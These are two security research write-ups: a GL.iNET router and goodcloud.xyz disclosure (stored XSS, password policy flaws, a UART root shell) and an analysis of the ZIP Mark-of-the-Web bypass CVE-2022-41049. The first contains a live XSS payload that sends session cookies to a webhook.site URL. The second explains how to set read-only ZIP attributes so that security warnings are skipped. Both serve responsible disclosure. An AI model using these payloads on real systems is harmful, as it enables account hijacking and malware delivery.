boschko1
 would login and receive the invite from 
boschko
 as seen below.

However, when we sign-out and back into 

boschko1
 no XSS triggered, why? It’s because there is a difference between being a member of a shared group (a group shared by another user with you) and being the owner (you made the group shared and created) as can be seen below.

As seen above, a user of a shared group won’t have the malicious fields of the group translated to their «frontend».

HOWEVER! If you have a business/enterprise account or are logged in as a business/enterprise user you can leverage this stored XSS to hijack user sessions! All thanks to features only available to business users :).

Business features provide the ability to add «Sub Accounts». You can think of this as having the ability to enroll staff/employees into your management console/organization. If a user accepts our 

subAccount
 invitation they become a staff/employee inside of our «organization». In doing so, we’ll have the ability to steal their fresh session cookies after they login because they’d become owners of the malicious group by association.

Let’s take this one step at a time. The Subscription Account panel looks like this.

I’m sure you can make out its general functionality. After inviting a user via their email address they will receive the following email.

I’ll try and break this down as clearly as I can. 

  • User A (attacker) is 
    boschko
     in red highlights. 
  • User B (victim) is 
    boschko1
     in green highlights.
  1. Step 1: Create a malicious company as 
    boschko
     with XSS company name and description
  2. Step 2: Invite 
    boschko1
     to the malicious company as 
    boschko
  3. Step 3: Get boschko1 cookies and use them to log in as him

Below is the user info of 

boschko
 who owns the company/organization 
test
. He also owns the «Group List» 
happy company
 the group which is part of the 
test
 organization.

boschko1
 has been sent an invitation email from 
boschko
boschko1
 has accepted and has been enrolled into 
boschko
‘s 
test
 organization. 
boschko1
has been given the 
Deployment Operator
 level access over the organization.

Logged into 

boschko1
 the user would see the following two «workspaces», his personal 
boschko1 (mine)
 and the one he has been invited to 
test
.

When 

boschko1
 is signed into his own team/organization 
boschko1 (mine)
, if devices are shared with him nothing bad happens.

When 

boschko1
 signes into the 
test
 organization that 
boschko
 owns by 
Switch Teams
 the malicious 
company
 and 
description
 are properly referenced/called upon when 
listQuery
 action.

The stored XSS in the malicious 

test
 company, 
company
 and 
description
fields (members of the 
happy company
 Group List) gets trigger when 
boschko1
 is signed into 
boschko
 organization 
test
.

From our malicious 

boschko
 user, we will create a group with the following malicious 
company
 and 
description
 names.

<img src=x onerror=this.src='https://webhook.site/6cb27cce-4dfd-4785-8ee8-70e932b1b8ca?c='+document.cookie>

We can leverage the following website since we’re too lazy to spin up a digital ocean droplet. With this webhook in hand, we’re ready to steal the cookies of 

boschko1
.

Above, 

boschko
 has stored the malicious javascript within his 
company
 and 
description
 fields simply log  
boschko1
 into the 
test
 organization owned by 
boschko
 and receive the cookies via the webhook.

As seen below, we get a bunch of requests made containing the session cookies of 

boschko1
.

Using the stolen 

boschko1
 session cookies the account can be hijacked.

The GL.iNET team remediated the issue by July 15 with some pretty solid/standard filtering.

I attempted a handful of bypasses with U+FF1C and U+FF1E, some more funky keyword filtering,  substrings, array methods, etc, and had no success bypassing the patch. 

Disclosure Timeline 

May 12, 2022: Initial discovery
May 12, 2022: Vendor contacted & vulnerability reported
May 13, 2022: Vendor confirms vulnerability
May 19, 2022: Contact vendor about enterprise user impact
July 7, 2022: Follow up with the vendor
July 15, 2022: Vendor patched the vulnerability


Weak Password Requirements & No Rate Limiting

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway with its accounts created through goodcloud.xyz which allows for remote management of linked IoT devices. The login for goodcloud.xyz was observed to have no rate limiting. Additionally, user passwords only require a minimum of 6 characters and no special characters/password policy. This makes it extremely simple for an attacker to brute force user accounts leading to account takeover. 

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 9.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

As seen below when users create their cloud gateway 

goodcloud.xyz
 accounts they’re only required to have a password ≥6 with no capitalization, or special characters being required or enforced.

Additionally, due to having no rate limiting on login attempts by using Burp Suite intruder it’s trivial to spray users or brute force user accounts.

Below is an example of successfully obtaining the password for a sprayed user.

In total, I was able to recover the passwords of 

33
 application users. I never tested these credentials to log into the UI for obvious ethical reasons. All the data was reported back to the GL.iNET team.  

Disclosure Timeline 

May 18, 2022: Initial discovery
May 24, 2022: Vendor contacted & vulnerability reported
May 24, 2022: Vendor confirms vulnerability
June 7, 2022: Vendor implements rate-limiting, patching the vulnerability


Password Policy Bypass

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway (goodcloud.xyz) which allows for remote management of linked IoT devices.  For these cloud gateway accounts, while password complexity requirements were implemented in the original signup page, these were not added to the password reset page. The current lack of rate limiting this severely impacts the security posture of the affected users.

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-521
CVSS Base Score: 6.7
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

The reset password policy isn’t consistent with the registration and change password policy. As a result, it’s possible to bypass the 6-character password requirements to a single character. In general, the application should validate that the password contains alphanumeric characters and special characters with a minimum length of around eight. Additionally, I feel like it’s best practice not to allow users to set the previously used password as the new password.

As seen below, through the UI the password change has checks on the client side to ensure the password policy is respected.

In Burp Suite we can intercept the request and manually set it to a single character.

The request above is submitting successfully, and the new password for the 

boschko
 user has been set to 
1
. The request below is the login request, as you can see it was successful.

Disclosure Timeline 

May 26, 2022: Initial discovery
May 26, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
July 15, 2022: Vulnerability has been patched


Additional Interesting Finds 

I made a few interesting discoveries that I don’t consider vulnerabilities. 

Before we jump into this one we have to quickly talk about ACL configuration. Basically, for 

rpc
 having appropriate access control over the invocations the application can make is very important. These methods should be strictly controlled. For more information on this refer to the Ubus-Wiki.

Once we’ve installed OpenWrt as seen above, the application will generate the list of 

rpc
 invocation methods for OpenWrt which is defined within the ACL configuration file 
/usr/share/rpcd/acl.d/luci-base.json
. Here is a snippet of the file in question.

...
	"luci-access": {
		"description": "Grant access to basic LuCI procedures",
		"read": {
			"cgi-io": [ "backup", "download", "exec" ],
			"file": {
				"/": [ "list" ],
				"/*": [ "list" ],
				"/dev/mtdblock*": [ "read" ],
				"/etc/crontabs/root": [ "read" ],
				"/etc/dropbear/authorized_keys": ["read"],
				"/etc/filesystems": [ "read" ],
				"/etc/rc.local": [ "read" ],
				"/etc/sysupgrade.conf": [ "read" ],
				"/etc/passwd": [ "read" ],
				"/etc/group": [ "read" ],
				"/proc/filesystems": [ "read" ],
...
		"write": {
			"cgi-io": [ "upload" ],
			"file": {
				"/etc/crontabs/root": [ "write" ],
				"/etc/init.d/firewall restart": ["exec"],
				"/etc/luci-uploads/*": [ "write" ],
				"/etc/rc.local": [ "write" ],
				"/etc/sysupgrade.conf": [ "write" ],
				"/sbin/block": [ "exec" ],
				"/sbin/firstboot": [ "exec" ],
				"/sbin/ifdown": [ "exec" ],
...

Not being a subject matter expert, I would however say that the above methods are well-defined. Methods in the file namespace aren’t simply «allow all» — 

( "file": [ "*" ] )
 if it were the case, then this would be an actual vulnerability.

rpcd
 has also a defined user in 
/etc/config/rpcd
 that we can use for the management interface. This user is used to execute code through a large number of  
rpcd
 exposed methods.

With this information in hand, we should be able to login with these credentials. As a result, we will obtain a large number of methods that can be called, and get the 

ubus_rpc_session
.

As seen in the following image this 

ubus_rpc_session
 value is used to call other methods defined in ACL config files.

Now we might look at the image above and think we have RCE of sorts. However, for some weird reason 

/etc/passwd
 is actually defined with valid read primitives within the 
luci-base.json
 ACL config file.

As seen below attempting to read any other files will result in a failed operation.

I simply found this interesting hence why I am writing about it.

Hardware Teardown 

Let’s actually start the intended project! The GL-MT300N router looks like this:

It’s nothing fancy, the device has a USB port, 2 ethernet ports (LAN & WAN), a reset button, and a mode switch. Let’s break it open and see what hardware we have on hand.

Immediately there are some interesting components. There looks to be a system on a chip (SoC), SPI flash, and some SD RAM. There is also a serial port and what looks like could potentially be JTAG, and almost definitely UART.

In terms of chipsets, there is a MediaTek MT7628NN chip which is described as being a «router on a chip» the datasheet shows it is basically the CPU and it supports the requirements for the entry-level AP/router.

Looking at the diagram of the chip there is communication for UART, SPI, and I2C which are required to transfer data. This also confirms that this chip has a serial console that can be used for debugging. If this is still enabled this could allow us to access the box while it’s running and potentially obtain a shell on the system.

The second chip is the Macronix MX25L12835F SPI (serial flash chip) this is what attacked for most of the reversing process to obtain the application’s firmware. This is because the serial flash usually contains the configuration settings, file systems, and is generally the storage for devices lacking peripherals would be stored. And looking around on the board there is no other «storage device». 

The third, and last chip is the Etron Technology EM68C16CWQG-25H which is the ram used by the device when it is running. 

Connecting to UART

Let’s quickly go over what’s UART. UART is used to send and receive data from devices over a serial connection. This is done for purposes such as updating firmware manually, debugging, or interfacing with the underlying system (kind of like opening a new terminal in Ubuntu). UART works by communicating through two wires, a transmitter wire (TX) and a receiver wire (RX) to talk to the micro-controller or system on a chip (basically the brains of the device) directly.

The receiver and transmitter marked RX and TX respectively, need to connect to a second respective UART device’s TX and RX in order to establish a communication. I’m lucky enough to have received my Flipper Zero so I’ll be using it for this!

If you would like more in-depth information on UART see my blog on hacking a fertility sperm tester. We’ll connect our Flipper Zero to the router UART connection as seen below.

The result will be a little something like this.

Since I’m a Mac user connecting to my Flipper Zero via USB will «mount» or make the device accessible at 

/dev/cu.usbmodemflip*
 so if I want to connect to it all I need to do is run the command below.

Once I’ve ran the screen command, and the router is powered on, ill start seeing serial output confirming that I’ve properly connected to UART.

As you can see, I’ve obtained a root shell. Unprotected root access via the UART is technically a vulnerability CWE-306. Connecting to the UART port drops you directly to a root shell, and exposes an unauthenticated Das U-Boot BIOS shell. This isn’t something you see too often, UART is commonly tied down. However, «exploitation» requires physical access, the device needs to be opened, and wires connecting to pads RX, TX, and GND on the main logic board. GL.iNET knows about this, and to my knowledge doesn’t plan on patching it. This is understandable as there’s no «real» impact. 

I’ll go on a «quick» rant about why unprotected UART CVEs are silly. The attack requires physical access to the device. So, an attacker has to be on-site, most likely inside a locked room where networking equipment is located, and is probably monitored by CCTV… The attacker must also attach an additional USB-to-UART component to the device’s PCB in order to gain console access. Since physically dismantling the device is required to fulfill the attack, I genuinely don’t consider this oversight from the manufacturer a serious vulnerability. Obviously, it’s not great, but realistically these types of things are at the vendor’s discretion. Moreover, even when protections are in place to disable the UART console and/or have the wide debug pads removed from the PCB there are many tricks one can use to navigate around those mechanisms.

Although personally, I believe it’s simply best practice for a hardware manufacturer to disable hardware debugging interfaces in the final product of any commercial device. Not doing so isn’t worthy of a CVE.

Getting back on track. Hypothetically if we were in a situation where we couldn’t get access to a shell from UART we’d likely be able to get one from U-Boot. There are actually a lot of different ways to get an application shell from here. Two of those techniques were covered in my blog Thanks Fo’ Nut’in — Hacking YO’s Male Fertility Sperm Test so I won’t be covering them here.

Leveraging the SPI Flash

Even though the serial console is enabled, if it weren’t, and we had no success getting a shell from U-Boot, our next avenue of attack might be to extract the firmware from the SPI flash chip. 

The goal is simple, read the firmware from the chip. There are a few options like using clips universal bus interface device, unsoldering the chip from the board and connecting it to a specialized EPROM read/write device or attaching it to a Protoboard. I like the first option and using SOIC8 clips over hook clips.

At a minimum, we’ll need a hardware tool that can interact with at least an SPI interface. I’m a big fan of the Attify Badge as it’s very efficient and supports many interfaces like SPI, UART, JTAG, I2C, GPIO, and others. But you could other devices like a professional EPROM programmer, a Bus Pirate, beagleboneRaspberry Pi, etc,.

Below is the pinout found on the datasheet for our Macronix MX25L12835F flash.

All you need to do is make the proper connections from the chip to the Attify badge. I’ve made mine according to the diagram below.

OK. I spent a solid two nights trying to dump the firmware without success. I’ve tried the Bus Pirate, Shikra, Attify, and a beaglebone black but nothing seems to work. Flashrom appears to be unable to read the data or even identify the chip, which is really weird. I’ve confirmed the pinouts are correct from the datasheet, and as seen below, flashrom supports this chip.

Attempting to dump the firmware results in the following.

So what’s going on? I’m not an EE so I had to do a lot of reading & talking to extremely patient people. Ultimately, I suspect this is happening because there is already a contention for the SPI bus (the MediaTek MT7628NN chip), and due to the nature of what we’re attempting to do, the router is receiving two masters connections and ours is not taking precedence. Currently, the MCU on the board is the master of the SPI chip, that’s the one where all the communication is going to and from. I wasn’t able to find a way to intercept, short, or stop that communication to make our Attify badge the master. In theory, a trick to get around this would be by holding down a reset button while reading the flash and just hoping to get lucky (I did this for ~2h and had no luck). Since our Attify badge would already be powered on, it could «IN THEORY» take precedence. This could, again «in theory» stop the chip from mastering to the MCU. But I haven’t been able to do so properly. I’ve spent ~8 hours on this, tying out multiple different hardware (PI, beaglebone, Attify, BusPirate) without success. I also suspect that being on a MacBook Pro with funky USB adapters could be making my situation worse.

Okay, we’re left with no other option than to go «off-chip». As previously mentioned, there are multiple ways to dump the contents of flash memory. Let’s try desoldering the component from the board, and use a chip reprogrammer to read off the contents. 

My setup is extremely cheap setup is very sub-optimal. I don’t own a fixed «hot air station» or PDC mount. I’m just using a loose heat gun.

Our goal is to apply enough heat so that the solder joints melt. We need to extracted the chip with tweezers without damaging components. Easier said then done with  my shitty station. differential heating on the board can be an issue. When a jet of hot air is applied to a PCB at room temperature, most of the heat is diffused to the colder spots, making the heating of the region of interest poor. To work around this you might think that increasing the heat will solve all of our issues. However, simply increasing the temperature is dangerous and not advisable. 

When a component is put under increased thermal stress the temperature gradient increases along the board. The temperature difference on the board will produce thermal expansion in different areas, producing mechanical stress that may damage the board, break, and shift components. Not good. My setup is prone to this type of error because I don’t have a mounting jig for the heat gun that can control distance. I don’t have any high-temperature tape I can apply to the surrounding components so that they don’t get affected by my shaky hand controlling the heat source.

Regardless, for most small components, a preheating temperature of 250º C should be enough.

After a few minutes, I was able to get the chip off. However, there is a tiny shielded inductor or resistor that was affected by the heat which shifted when I removed the SPI with the tweezers. I wasn’t able to get this component back on the board. Fuck. I’m not an EE so I don’t fully understand the impact and consequences this has.  

Let’s mount the SPI onto a SOP8 socket which we’ll then connect to our reprogrammer. Below is the orientation of the memory in the adapter.

This is, once again, quite a shitty reprogrammer. I actually had to disable driver signing to get the USB connection recognized after manually installing the shady driver. We’ll go ahead and configure our chip options knowing our SPI is Macronix MX25L12835F.

However, this also failed/couldn’t do any reads. I spend another ~5 hours debugging this. I thought it was the SOP socket clip so I soldered it onto a board and relayed the links to the reprogrammer but the results were the same.

After a while, I went ahead and re-soldered it to the main router PCB, and the device was fully bricked. To be quite honest, I’m not sure what I did wrong/at which step I made the mistake. 

They say that failure is another stepping stone to greatness, but given that the entire reason for this purchase was to try out some new hardware hacking methodologies…. this was very bittersweet. 

I remembered the squashfs information displayed in the UART log information. So, if we really wanted to reverse the firmware it’s still impossible. You can grab the unsigned firmware from the vendor’s site vendors here. Below are the steps you’d follow if you had successfully extracted the firmware to get to the filesystem.

So let’s check if they have any hardcoded credentials.

Luckily, they don’t.

The last thing I observed was that in the UBI reader there is an extra data block at the end of the image and somewhere in between that in theory could allow us to read code.

This purchase was supposed to be hardware hacking focused & I failed my personal objectives. To compensate I’ll share some closing thoughts with you. 

In case you were wondering «how can the vendor prevent basic IoT hardware vulnerabilities? And is it worth it?». The answer is yes, and yes. This blog is long enough so I’ll keep it short. 

Think of it this way. Having an extra layer of protection or some baseline obfuscation in the event that developers make mistakes is a good idea and something that should be planned for. The way I see it, if the JTAG, UART, or ICSP connector weren’t immediately apparent, this would’ve slowed me down and perhaps eventually demotivate me to push on. 

The beautiful part is that hardware obfuscation is easy to introduce at the earliest stages of product development. Unlike software controls, which are implemented at later stages of the project and left out due to lack of time. There exist many different hardware controls which are all relatively easy to implement. 

Since the hardware hacking portion of this blog wasn’t a great success I might as well share some thoughts & ideas on remediation & how to make IoT hardware more secure. 

1. Removing the PCB silkscreen. Marks, logos, symbols, etc, have to go. There’s no real reason to draw up the entire board, especially if it’s in production.

2. Hide the traces! It’s too simple to follow the solder mask (the light green parts on this PCB) What’s the point of making them so obvious?

3. Hardware-level tamper protection. It’s possible to set hardware and even software fuses to prevent readout (bear in mind that both can be bypassed in many cases).

4. Remove test pins and probe pads and other debugging connections. Realistically speaking if the product malfunctions and a firmware update won’t fix it, the manufacturer likely won’t send someone onsite to debug /fix it. 99% of the time they’re simply going to send you a new one. So why have debug interfaces enabled/on production devices?

5. If you’re using vias as test points (because they make using a multimeter or a scope probe much easier, and are typically used by embedded passive components) it would be wise to use buried or blind vias. The cost of adding additional PCB layers is cheap if you don’t already have enough to do this.

6. Remove all chipset markings! It’s seriously so much harder & time-consuming to identify a chip with no markings.

7. Why not use tamper-proof cases, sensors (photodiode detectors), or one-way screws. Again some of these are not difficult to drill bypass. However, you’re testing the motivation of the attacker. Only really motivated reverse engineers would bother opening devices in the dark.

If you’re interested, here are some solid publications regarding hardware obfuscation I’d recommend the following papers:

1. https://arxiv.org/pdf/1910.00981.pdf
2. https://swarup.ece.ufl.edu/papers/J/J48.pdf

Summary:

I hope you liked the blog post. Follow me on twitter I sometimes post interesting stuff there too. This was a lot of fun! Personally, I’d strongly recommend going on Amazon, Alibaba, or Aliexpress and buying a bunch of odd or common IoT devices and tearing them down. You never know what you will find 🙂

Thank you for reading!

Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049)

Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049)

Original text by breakdev

Windows ZIP extraction bug (CVE-2022-41049) lets attackers craft ZIP files, which evade warnings on attempts to execute packaged files, even if ZIP file was downloaded from the Internet.

In October 2022, I’ve come across a tweet from 5th July, from @wdormann, who reported a discovery of a new method for bypassing MOTW, using a flaw in how Windows handles file extraction from ZIP files.

Will Dormann
@wdormann
The ISO in question here takes advantage of several default behaviors: 1) MotW doesn’t get applied to ISO contents 2) Hidden files aren’t displayed 3) .LNK file extensions are always hidden, regardless of the Explorer preference to hide known file extensions.

So if it were a ZIP instead of ISO, would MotW be fine? Not really. Even though Windows tries to apply MotW to extracted ZIP contents, it’s really quite bad at it. Without trying too hard, here I’ve got a ZIP file where the contents retain NO protection from Mark of the Web.

https://twitter.com/wdormann/status/1544416883419619333

This sounded to me like a nice challenge to freshen up my rusty RE skills. The bug was also a 0-day, at the time. It has already been reported to Microsoft, without a fix deployed for more than 90 days.

What I always find the most interesting about vulnerability research write-ups is the process on how one found the bug, what tools were used and what approach was taken. I wanted this post to be like this.

Now that the vulnerability has been fixed, I can freely publish the details.

Background

What I found out, based on public information about the bug and demo videos, was that Windows, somehow, does not append MOTW to files extracted from ZIP files.

Mark-of-the-web is really another file attached as an Alternate Data Stream (ADS), named 

Zone.Identifier
, and it is only available on NTFS filesystems. The ADS file always contains the same content:

[ZoneTransfer]
ZoneId=3

For example, when you download a ZIP file 

file.zip
, from the Internet, the browser will automatically add 
file.zip:Zone.Identifier
 ADS to it, with the above contents, to indicate that the file has been downloaded from the Internet and that Windows needs to warn the user of any risks involving this file’s execution.

This is what happens when you try to execute an executable like a JScript file, through double-clicking, stored in a ZIP file, with MOTW attached.

Clearly the user would think twice before opening it when such popup shows up. This is not the case, though, for specially crafted ZIP files bypassing that feature.

Let’s find the cause of the bug.

Identifying the culprit

What I knew already from my observation is that the bug was triggered when 

explorer.exe
 process handles the extraction of ZIP files. I figured the process must be using some internal Windows library for handling ZIP files unpacking and I was not mistaken.

ProcessHacker revealed 

zipfldr.dll
 module loaded within Explorer process and it looked like a good starting point. I booted up IDA with conveniently provided symbols from Microsoft, to look around.

ExtractFromZipToFile
 function immediately caught my attention. I created a sample ZIP file with a packaged JScript file, for testing, which had a single instruction:

WScript.Echo("YOU GOT HACKED!!1");

I then added a MOTW ADS file with Notepad and filled it with MOTW contents, mentioned above:

notepad file.zip:Zone.Identifier

I loaded up 

x64dbg
 debugger, attached it to 
explorer.exe
 and set up a breakpoint on 
ExtractFromZipToFile
. When I double-clicked the JS file, the breakpoint triggered and I could confirm I’m on the right path.

CheckUnZippedFile

One of the function calls I noticed nearby, revealed an interesting pattern in IDA. Right after the file is extracted and specific conditions are meet, 

CheckUnZippedFile
 function is called, followed by a call to 
_OpenExplorerTempFile
, which opens the extracted file.

Having a hunch that 

CheckUnZippedFile
 is the function responsible for adding MOTW to extracted file, I nopped its call and found that I stopped getting the MOTW warning popup, when I tried executing a JScript file from within the ZIP.

It was clear to me that if I managed to manipulate the execution flow in such a way that the branch, executing this function is skipped, I will be able to achieve the desired effect of bypassing the creation of MOTW on extracted files. I looked into the function to investigate further.

I noticed that 

CheckUnZippedFile
 tries to combine the TEMP folder path with the zipped file filename, extracted from the ZIP file, and when this function fails, the function quits, skipping the creation of MOTW file.

Considering that I controlled the filename of the extracted ZIP file, I could possibly manipulate its content to trigger 

PathCombineW
 to fail and as a result achieve my goal.

PathCombineW
 turned out to be a wrapper around 
PathCchCombineExW
 function with output buffer size limit set to fixed value of 
260
 bytes. I thought that if I managed to create a really long filename or use some special characters, which would be ignored by the function handling the file extraction, but would trigger the length check in 
CheckUnZippedFile
 to fail, it could work.

I opened 010 Editor, which I highly recommend for any kind of hex editing work, and opened my sample ZIP file with a built-in ZIP template.

I spent few hours testing with different filename lengths, with different special characters, just to see if the extraction function would behave in erratic way. Unfortunately I found out that there was another path length check, called prior to the one I’ve been investigating. It triggered much earlier and prevented me from exploiting this one specific check. I had to start over and consider this path a dead end.

I looked if there are any controllable branching conditions, that would result in not triggering the call to 

CheckUnZippedFile
 at all, but none of them seemed to be dependent on any of the internal ZIP file parameters. I considered looking deeper into 
CheckUnZippedFile
 function and found out that when 
PathCombineW
 call succeeds, it creates a 
CAttachmentServices
 COM objects, which has its three methods called:

CAttachmentServices::SetReferrer(unsigned short const * __ptr64)
CAttachmentServices::SetSource(unsigned short const * __ptr64)
CAttachmentServices::SaveWithUI(struct HWND__ * __ptr64)

 realized I am about to go deep down a rabbit hole and I may spend there much longer than a hobby project like that should require. I had to get a public exploit sample to speed things up.

Huge thanks you @bohops & @bufalloveflow for all the help in getting the sample!

Detonating the live sample

I managed to copy over all relevant ZIP file parameters from the obtained exploit sample into my test sample and I confirmed that MOTW was gone, when I extracted the sample JScript file.

I decided to dig deeper into 

SaveWithUI
 COM method to find the exact place where creation of 
Zone.Identifier
 ADS fails. Navigating through 
shdocvw.dll
, I ended up in 
urlmon.dll
 with a failing call to 
<a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-writeprivateprofilestringw">WritePrivateProfileStringW</a>
.

This is the Windows API function for handling the creation of INI configuration files. Considering that 

Zone.Identifier
 ADS file is an INI file containing section 
ZoneTransfer
, it was definitely relevant. I dug deeper.

The search led me to the final call of 

<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile">NtCreateFile</a>
, trying to create the 
Zone.Identifier
 ADS file, which failed with 
ACCESS_DENIED
 error, when using the exploit sample and succeeded when using the original, untampered test sample.

It looked like the majority of parameters were constant, as you can see on the screenshot above. The only place where I’d expect anything dynamic was in the structure of 

ObjectAttributes
 parameter. After closer inspection and half an hour of closely comparing the contents of the parameter structures from two calls, I concluded that both failing and succeeding calls use exactly the same parameters.

This led me to realize that something had to be happening prior to the creation of the ADS file, which I did not account for. There was no better way to figure that out than to use Process Monitor, which honestly I should’ve used long before I even opened IDA 😛.

Backtracking

I set up my filters to only list file operations related to files extracted to TEMP directory, starting with 

Temp
 prefix.

The test sample clearly succeeded in creating the 

Zone.Identifier
 ADS file:

While the exploit sample failed:

Through comparison of these two listings, I could not clearly see any drastic differences. I exported the results as text files and compared them in a text editor. That’s when I could finally spot it.

Prior to creating 

Zone.Identifier
 ADS file, the call to 
SetBasicInformationFile
 was made with 
FileAttributes
 set to 
RN
.

I looked up what was that 

R
 attribute, which apparently is not set for the file when extracting from the original test sample and then…

Facepalm

The 

R
 file attribute stands for 
read-only
. The file stored in a ZIP file has the read-only attribute set, which is set also on the file extracted from the ZIP. Obviously when Windows tries to attach the 
Zone.Identifier
 ADS, to it, it fails, because the file has a read-only attribute and any write operation on it will fail with 
ACCESS_DENIED
 error.

It doesn’t even seem to be a bug, since everything is working as expected 😛. The file attributes in a ZIP file are set in 

ExternalAttributes
 parameter of the 
ZIPDIRENTRY
 structure and its value corresponds to the ones, which carried over from MS-DOS times, as stated in ZIP file format documentation I found online.

4.4.15 external file attributes: (4 bytes)

       The mapping of the external attributes is
       host-system dependent (see 'version made by').  For
       MS-DOS, the low order byte is the MS-DOS directory
       attribute byte.  If input came from standard input, this
       field is set to zero.

   4.4.2 version made by (2 bytes)

        4.4.2.1 The upper byte indicates the compatibility of the file
        attribute information.  If the external file attributes 
        are compatible with MS-DOS and can be read by PKZIP for 
        DOS version 2.04g then this value will be zero.  If these 
        attributes are not compatible, then this value will 
        identify the host system on which the attributes are 
        compatible.  Software can use this information to determine
        the line record format for text files etc.  

        4.4.2.2 The current mappings are:

         0 - MS-DOS and OS/2 (FAT / VFAT / FAT32 file systems)
         1 - Amiga                     2 - OpenVMS
         3 - UNIX                      4 - VM/CMS
         5 - Atari ST                  6 - OS/2 H.P.F.S.
         7 - Macintosh                 8 - Z-System
         9 - CP/M                     10 - Windows NTFS
        11 - MVS (OS/390 - Z/OS)      12 - VSE
        13 - Acorn Risc               14 - VFAT
        15 - alternate MVS            16 - BeOS
        17 - Tandem                   18 - OS/400
        19 - OS X (Darwin)            20 thru 255 - unused

        4.4.2.3 The lower byte indicates the ZIP specification version 
        (the version of this document) supported by the software 
        used to encode the file.  The value/10 indicates the major 
        version number, and the value mod 10 is the minor version 
        number.  

Changing the value of external attributes to anything with the lowest bit set e.g. 

0x21
 or 
0x01
, would effectively make the file read-only with Windows being unable to create MOTW for it, after extraction.

Conclusion

I honestly expected the bug to be much more complicated and I definitely shot myself in the foot, getting too excited to start up IDA, instead of running Process Monitor first. I started with IDA first as I didn’t have an exploit sample in the beginning and I was hoping to find the bug, through code analysis. Bottom line, I managed to learn something new about Windows internals and how extraction of ZIP files is handled.

As a bonus, Mitja Kolsek from 0patch asked me to confirm if their patch worked and I was happy to confirm that it did!

https://twitter.com/mrgretzky/status/1587234508998418434

The patch was clean and reliable as seen in the screenshot from a debugger:

I’ve been also able to have a nice chat with Will Dormann, who initially discovered this bug, and his story on how he found it is hilarious:

I merely wanted to demonstrate how an exploit in a ZIP was safer (by way of prompting the user) than that *same* exploit in an ISO.  So how did I make the ZIP?  I:
1) Dragged the files out of the mounted ISO
2) Zipped them. That's it.  The ZIP contents behaved the same as the ISO.

Every mounted ISO image is listing all files in read-only mode. Drag & dropping files from read-only partition, to a different one, preserves the read-only attribute set for created files. This is how Will managed to unknowingly trigger the bug.

Will also made me realize that 7zip extractor, even though having announced they began to add MOTW to every file extracted from MOTW marked archive, does not add MOTW by default and this feature has to be enabled manually.

I mentioned it as it may explain why MOTW is not always considered a valid security boundary. Vulnerabilities related to it may be given low priority and be even ignored by Microsoft for 90 days.

When 7zip announced support for MOTW in June, I honestly took for granted that it would be enabled by default, but apparently the developer doesn’t know exactly what he is doing.

I haven’t yet analyzed how the patch made by Microsoft works, but do let me know if you did and I will gladly update this post with additional information.

Hope you enjoyed the write-up!